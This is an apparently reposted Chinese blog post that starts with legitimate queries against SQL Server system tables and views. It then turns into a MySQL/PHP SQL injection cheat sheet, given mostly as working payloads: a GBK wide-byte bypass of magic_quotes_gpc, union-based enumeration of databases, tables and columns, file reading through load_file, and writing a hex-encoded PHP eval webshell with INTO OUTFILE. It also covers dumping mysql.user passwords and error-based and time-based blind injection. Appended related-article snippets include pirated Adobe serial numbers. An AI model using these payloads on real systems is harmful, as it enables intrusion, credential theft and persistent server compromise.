当前位置: 首页 > 编程日记 > 正文

查询Master下的系统表和系统视图获取数据库的信息和简单的渗透测试

在SQL中可以通过查询Master下的系统表(sys)和系统视图(information_schema)获取数据库的信息。SQL2000和SQL2005的结构略有不同。

系统表结构参考系统表详细说明。

系统信息结构图参考:http://dev.mysql.com/doc/refman/5.1/zh/information-schema.html

1、2000下操作:

系统表目录:大部分以dbo.sys为前缀。

系统视图目录:有20个常用的视图,以INFORMATION_SCHEMA为前缀。

在2000中我们可以用这两种方式的查询来得到相同的效果。

如:查询所有数据库:

select name from master..sysdatabases

select  catalog_name   from   INFORMATION_SCHEMA.SCHEMATA

效果一样。

查询用户创建的所有数据库

select * from master..sysdatabases D where sid not in(select sid from master..syslogins where name='sa')

或者

select dbid, name AS DB_NAME from master..sysdatabases  where sid <> 0x01

或者

select name from master..sysdatabases order by name asc

       获取当前数据库中的所有用户表:

select Name from sysobjects where xtype='u' and status>=0

SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE'

获取某一个表的所有字段

select name from syscolumns where id=object_id('表名')

SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '表名'

查看与某一个表相关的视图、存储过程、函数

select a.* from sysobjects a, syscomments b where a.id = b.id and b.text like '%表名%'

查看当前数据库中所有存储过程

select name as 存储过程名称 from sysobjects where xtype='P'

查询某一个表的字段和数据类型

select name,xtye from syscolumns where id=object_id('表名')

SELECT COLUMN_NAME,DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '表名'

2、2005下操作:

系统表目录:2000中的系统表,在05中都放在了系统视图目录下。

系统视图目录:存放了系统表和视图,增加了许多新的系统表,如支持xml。以sys.为前缀。

在2005中,系统表仍然属于Master数据库下。但是视图却被分配到了各个数据库下。因此:

select name from master..sysdatabases

select  catalog_name   from   INFORMATION_SCHEMA.SCHEMATA

上面的两种查询就会有不同的结果。

第一个查询仍然可以返回所有的数据库列表。

而第二个查询只返回当前连接的数据库的信息。

除此之外的其他针对具体数据库的操作,跟2000一样。

     由于结构不同,为了保证统一性,我们在对整个服务器操作时,最好使用系统表。而在对某一个具体的数据库操作时,则既可以使用系统表也可以使用信息结构图。

以下是简单的渗透测试

magic_quotes_gpc = On           addslashes()过滤,对 ' " \ null 转义  即在前面加上反斜线 

PS: intval()         用于过滤数字类型

register_globals = Off          关闭注册全局变量

display_errors = Off            关闭错误提示

 

 

GBK宽字节突破magic_quotes_gpc = On限制 用 % f5' 代替 ' 即 ' 变成 鮘' 而不是 \'

 

 

实践发现

假设 id 为数字型,如果sql语句为 id='$id' 即使用单引号,那提交?id=1 and 1=1 和?id=1 and 1=2 结果都是?id=1 ,即取空格前面的参数。

此时可使用?id=1' and 1=1# 和?id=1' and 1=2# 来判断以及构造SQL语句。

 

查看PHP代码有时若不替换一些字符如<,返回网页将无法查看代码。

replace(load_file(HEX),char(60),char(32))

union select 1,replace(load_file(HEX),char(60),char(32)),3

char(60)表示 <         

char(32)表示 空格

 

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

表示前后编码不一致

unhex(hex(参数))

union select 1,unhex(hex(load_file(HEX))),3

 


@@hostname                               DATA
服务器名

@@version_compile_os                     判断系统类型

@@basedir                                数据库安装目录  

@@datadir                                数据库存储目录  

@@plugin_dir                             插件目录路径

@@group_concat_max_len                   group_concat()最大长度

user()                                   当前用户

database()                               当前数据库

version()                                mysql版本

concat(字段1,0x7C,字段2,0x7C,字段N)      连接多个参数

group_concat(字段)                       列出所有行

 

 

load_file(16进制文件物理地址)            读取文件

写webshell <?php @eval_r($_POST['c']);?>       PS:windows地址用 / 或者 \\ ,单独 \ 不行。

 and 1=2 union select 1,0x3C3F70687020406576616C28245F504F53545B2763275D293B3F3E,3,..n into outfile '文件物理地址'

 

 

 

select user,password,update_priv,file_priv from mysql.user          mysql.user为用户全局权限

select * from mysql.db                                              mysql.db为用户数据库操作权限

 

 

 and (select count(*) from 表段)>0

 and (select count(字段) from 表段)>0

 and (select length(字段) from 表段 limit N,1)>5

 and (select ascii(mid(字段,N,1)) from 表段 limit N,1)>96

 

 

 

 and substring(@@version,1,1)=5

   

 order by n

 

 and 1=2 union select 1,2,3,4,5,6,7,8,9,n#

 

 and 1=2 union select 1,2,TABLE_SCHEMA,4,5,6,7,8,9,n from information_schema.COLUMNS group by TABLE_SCHEMA limit N,1                         查询第N个数据库名

 

 and 1=2 union select 1,2,TABLE_NAME,4,5,6,7,8,9,n from information_schema.COLUMNS where TABLE_SCHEMA=16进制数据库名 limit N,1          查表段名

 

 and 1=2 union select 1,2,COLUMN_NAME,4,5,6,7,8,9,n from information_schema.COLUMNS where TABLE_SCHEMA=16进制数据库名 and TABLE_NAME=16进制表段名 limit N,1             查字段名

 

 and 1=2 union select 1,2,字段,4,5,字段,7,8,9,n from 数据库名.表段名 limit N,1         查帐号密码

 

 

 

偏移注射

 

 order by 10                      正在查询的字段有10

 

 and 1=2 union select *,1,2,3,4,5,6,7 from admin              表段admin有3个字段

 

 and 1=2 union select 1,2,3,4,5,6,7,8,9,id from admin         表段admin存在字段id

 

 and 1=2 union select *,1,2,3,4 from (admin as a inner join admin as b on a.id=b.id)          在5-10位置显示数据

 

 and 1=2 union select *,1 from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)               在2-10位置显示数据

 

 

 

 

 

 

MySQL错误回显套公式法注入

 

+and+1=2+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(注入爆数据语句))a+from+information_schema.tables+group+by+a)b#

 

+or+1=(select+1+from+(select+count(*),concat(floor(rand(0)*2),(注入爆数据语句))a+from+information_schema.tables+group+by+a)b)#

 

注入爆数据语句

select+concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)

select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1

 

 

 

 

延时注入

select benchmark(5000000, md5('test')) from user where id=1 and 1=1

 

select * from user where id=1 or 1=(select benchmark(5000000, md5('test')))

 

select if(ascii(substring((version()),1,1))<54,benchmark(5000000, md5('test')),0) from user where id=1 and 1=1

 

select * from user where id=1 or if(ascii(substring((version()),1,1))<54,benchmark(5000000, md5('test')),0)

转载于:https://www.cnblogs.com/xuezhaojing/p/3951007.html

相关文章:

cocos2d-x android 移植 问题

为什么80%的码农都做不了架构师&#xff1f;>>> 由于android系统目前没有将boost加入&#xff0c;这里面使用了大量的STL及C的一些语言特性&#xff0c;导致编译出现令人非常头痛的问题。 1、出现类似的异常函数错误 boost/exception/detail/exception_ptr.hpp:382…

python插入排序演示源码

工作闲暇时间&#xff0c;把写内容过程较好的内容段做个备份&#xff0c;下面的内容内容是关于python插入排序演示的内容&#xff0c;应该能对各朋友也有用处。 def insert_sort(t): for i in xrange(len(t)): key t[i] j i - 1 while j>-1 and t[j]>key:#如果当前值比…

leetcode-215 数组中的第K个最大元素

在未排序的数组中找到第 k 个最大的元素。请注意&#xff0c;你需要找的是数组排序后的第 k 个最大的元素&#xff0c;而不是第 k 个不同的元素。 示例 1: 输入: [3,2,1,5,6,4] 和 k 2 输出: 5 该题比较简洁的解法&#xff0c;我们使用堆来完成 最小堆&#xff1a;即堆顶为所…

c++ double 只输出五位_c 语言第四章 在控制台上数据的输入和输出

1 数据输出我们之前已经使用过printf()函数来实现数据在控制台上输出#include<stdio.h> int main(){printf("hello world");return 0; }具体的用法是printf("数据模板",数据1,数据2,...)// 数据模板表示输出数据的形式,里面包含占位符,打印的时候使用…

pyQt 每日一练习 -- 登录框

#codingutf-8#第一个练习&#xff0c;登录框import sys from PyQt4 import QtGui,QtCore#登录框 class LoginBox(QtGui.QWidget):def __init__(self):super(LoginBox, self).__init__()self.initUI()def initUI(self):vBoxLayout QtGui.QVBoxLayout()hBoxLayout_1 QtGui.QHBo…

photoshop CS5 Dreamweaver CS5序列号及完美破解方法

adobe photoshop CS5 的序列号&#xff08;任选一个&#xff09;1330-1440-1602-3671-9749-78971330-1191-2998-6712-2520-54241330-1367-4285-4928-0630-31071330-1570-9599-9499-8092-82371330-1028-1662-3206-1688-51141330-1631-5733-5042-4138-6389 Adobe Dreamweaver CS…

[原创]Android Monkey 在线日志分析工具开发

[原创]Android Monkey 在线日志分析工具开发 在移动App测试过程中,Monkey测试是我们发现潜在问题的一种非常有效手段&#xff0c;但是Android原生的Monkey有其天然的不足&#xff0c;数据不能有效的去解读&#xff0c;同时也不能提供非常清晰的信息&#xff0c;所以针对这个问题…

leetcode-295 数据流的中位数

中位数是有序列表中间的数。如果列表长度是偶数&#xff0c;中位数则是中间两个数的平均值。 例如&#xff0c; [2,3,4] 的中位数是 3 [2,3] 的中位数是 (2 3) / 2 2.5 设计一个支持以下两种操作的数据结构&#xff1a; void addNum(int num) - 从数据流中添加一个整数到数…

Servlet开发入门

Servlet是sun公司提供的一门用于开发动态web资源的技术。 Sun公司在其API中提供了一个servlet接口&#xff0c;用户若想开发一个动态web资源(即开发一个Java程序向浏览器输出数据)&#xff0c;需要完成以下2个步骤&#xff1a; 编写一个Java类&#xff0c;实现servlet接口。把开…

#串口通信超时处理_简单通信协议

用C语言做物联网网关开发时&#xff0c;经常需要通过串口、485接口等从一些传感器读取数据&#xff0c;由于网关设备和传感器所处的环境复杂多样&#xff0c;电磁干扰等常常会破坏传输的数据&#xff0c;为了确保传输数据的可靠性&#xff0c;通常会采取一些策略&#xff0c;常…

在cmd的方式下,简化mysql的输入的方法

2019独角兽企业重金招聘Python工程师标准>>> 在我的电脑&#xff0c;高级系统设置&#xff0c;环境变量&#xff0c;path 添加运行的mysql.exe的路径。 转载于:https://my.oschina.net/u/779687/blog/140411

Parser Generator Tips翻译(中英对译) by Joshua Xu

You can use the ParserWizard command from the Project menu to help you create initial YACC and Lex skeleton source files.如果需要生成初始的YACC & Lex骨架源文件&#xff0c;可以在系统菜单中&#xff0c;选取Project->ParserWizard。Use the Parser Generato…

leetcode-455 分发饼干

假设你是一位很棒的家长&#xff0c;想要给你的孩子们一些小饼干。但是&#xff0c;每个孩子最多只能给一块饼干。对每个孩子 i &#xff0c;都有一个胃口值 gi &#xff0c;这是能让孩子们满足胃口的饼干的最小尺寸&#xff1b;并且每块饼干 j &#xff0c;都有一个尺寸 sj 。…

C++模板详解

参考&#xff1a;C 模板详解&#xff08;一&#xff09; 模板&#xff1a;对类型进行参数化的工具&#xff1b;通常有两种形式&#xff1a; 函数模板&#xff1a;仅参数类型不同&#xff1b;类模板&#xff1a; 仅数据成员和成员函数类型不同。目的&#xff1a;让程序员编写…

autocad2007二维图画法_cad怎样绘制简单的二维图形

CAD绘制二维图形非常的简单&#xff0c;大家经常用它来画图&#xff0c;下面是学习啦小编带来关于cad怎样绘制简单的二维图形的内容&#xff0c;希望可以让大家有所收获!cad绘制简单二维图形的方法1、绘图菜单绘图菜单是绘制图形最基本、最常用的方法&#xff0c;其中包含了Aut…

MyEclipse 中配置struts2.2.1的方法

MyEclipse中配置Struts2.2.1版本基本步骤&#xff1a;1&#xff0c;首先就是要建立一个web project项目2&#xff0c;设置jdk和servers路径&#xff0c;如果jdk和servers已经配置ok&#xff0c;跳过这一步骤。在菜单中的window选项中配置jdk和servers对于jdk&#xff0c;点击ja…

BZOJ.5249.[九省联考2018]iiidx(贪心 线段树)

BZOJLOJ洛谷 \(d_i\)不同就不用说了&#xff0c;建出树来\(DFS\)一遍。 对于\(d_i\)不同的情况&#xff1a; Solution 1&#xff1a;xxy tql! 考虑如何把这些数依次填到树里。 首先对于已解锁的节点\(x\)&#xff08;已解锁是指父节点已经处理完的点&#xff0c;刚开始就是\(fa…

leetcode-376 摆动序列

如果连续数字之间的差严格地在正数和负数之间交替&#xff0c;则数字序列称为摆动序列。第一个差&#xff08;如果存在的话&#xff09;可能是正数或负数。少于两个元素的序列也是摆动序列。 例如&#xff0c; [1,7,4,9,2,5] 是一个摆动序列&#xff0c;因为差值 (6,-3,5,-7,3…

bootstrap3中关于布局的两种样式

container&#xff1a;用.container包裹的内容即可实现居中对齐。注意&#xff0c;由于在各分辨率下面都设置了padding 和 固定宽度&#xff0c;.container不能嵌套。row&#xff1a;栏栅系统是把父容器平均分为12列。注意&#xff0c;row可以被嵌套。 通过下表可以详细查看Boo…

adg oracle 架构_云化双活的架构演进,宁夏银行新核心搭载Oracle 19c投产上线

云和恩墨顺利完成宁夏银行新数据中心数据库平台的建设&#xff0c;包括新数据中心RAC搭建、DG搭建、旧数据中心到新数据中心的数据迁移&#xff0c;以及在整个项目生命周期中的实施规范、性能测试保障、压力测试等。6月12日&#xff0c;宁夏银行数据库完成全部迁移&#xff0c;…

MFC里ON_COMMAND_RANGE消息映射的ID问题

今天在工作中遇到一个问题&#xff0c;一个动态菜单&#xff0c;每个菜单的菜单项ID是我自己定义的&#xff0c;定义如下&#xff1a; #define IDM_SEARCHRECORD0 222240 #define IDM_SEARCHRECORD1 222241 #define IDM_SEARCHRECORD2 222242 #define IDM_SEARCHRECORD3 …

反射拷贝对象的思路:

0 根据构造器创建对象 1.获取传入进来的对象的字段 2.获取字段的类型 3.拼接 set 与get方法 4 获取传入进来的对象的值 并设置给新对象转载于:https://www.cnblogs.com/classmethond/p/10362263.html

leetcode-402 移掉K位数组

给定一个以字符串表示的非负整数 num&#xff0c;移除这个数中的 k 位数字&#xff0c;使得剩下的数字最小。 注意: num 的长度小于 10002 且 ≥ k。 num 不会包含任何前导零。 示例 1 : 输入: num “1432219”, k 3 输出: “1219” 解释: 移除掉三个数字 4, 3, 和 2形成一…

c++ using 前置声明_C++ 类的前置声明

今天在研究C”接口与实现分离“的时候遇到了一个问题&#xff0c;看似很小&#xff0c;然后背后的东西确值得让人深思&#xff01;感觉在学习的过程中有太多的为什么&#xff0c;而每一个为什么背后都隐藏着一些原理和目的&#xff0c;所以得多问自己”为什么“&#xff0c;这样…

测试用的序列化方法

对于实体&#xff0c;进行底层方法测试的时候&#xff0c;经常逐一赋值很麻烦&#xff0c;网上找到序列化xml方法&#xff0c;感觉挺好用的。 前端调用方法时&#xff0c;将实体序列化写入xml文件 //xml路径string filePath "D:\1.xml";using (System.IO.StreamWrit…

HighChart学习-更新数据data Series与重绘

一&#xff1a;HighChart介绍 基于JQuery的纯JavaScript的图标库&#xff0c;支持各种图表显示&#xff0c;同时还支持Mootools 与Prototype详细版本支持在这里&#xff1a; JQuery 1.3.2 - 1.9.x. 2.0.x for modern browsers Mootools 1.2.5 - 1.4.5 Prototype 1.7 支持目…

shell代码模板

批量ssh登录机器#site_search_hosts 10.4.16.205,10.4.20.87,10.4.20.88,10.4.20.89,10.4.20.90,10.4.20.92,10.4.20.93,10.4.21.51,10.4.21.52,10.4.21.53,10.4.21.54,10.4.33.136,10.4.33.137,10.4.33.138,10.4.33.139,10.4.33.140site_search_hosts10.4.16.205,10.4.20.87,1…

leetcode-55 跳跃游戏

给定一个非负整数数组&#xff0c;你最初位于数组的第一个位置。 数组中的每个元素代表你在该位置可以跳跃的最大长度。 判断你是否能够到达最后一个位置。 示例 1: 输入: [2,3,1,1,4] 输出: true 解释: 我们可以先跳 1 步&#xff0c;从位置 0 到达 位置 1, 然后再从位置 1…

子分类账知识学习(汇总网上比较有用的资料)

子模块和GL之间关联的变化 12i在功能模块上的变化很多&#xff0c;比如&#xff0c;基本每个模块都启用了MOAC特性&#xff0c;新增加了子帐模块&#xff0c;税模块等等很多新的模块&#xff0c;OPM库存和离散库存集成了。不过这些变化中&#xff0c;大部分不是我们需要重点…

zynqpl端时钟_第十一章 ZYNQ-MIZ701 PS读写PL端BRAM

本篇文章目的是使用Block Memory进行PS和PL的数据交互或者数据共享&#xff0c;通过zynq PS端的Master GP0端口向BRAM写数据&#xff0c;然后再通过PS端的Mater GP1把数据读出来&#xff0c;将结果打印输出到串口终端显示。涉及到AXI BRAM Controller 和 Block Memery Generato…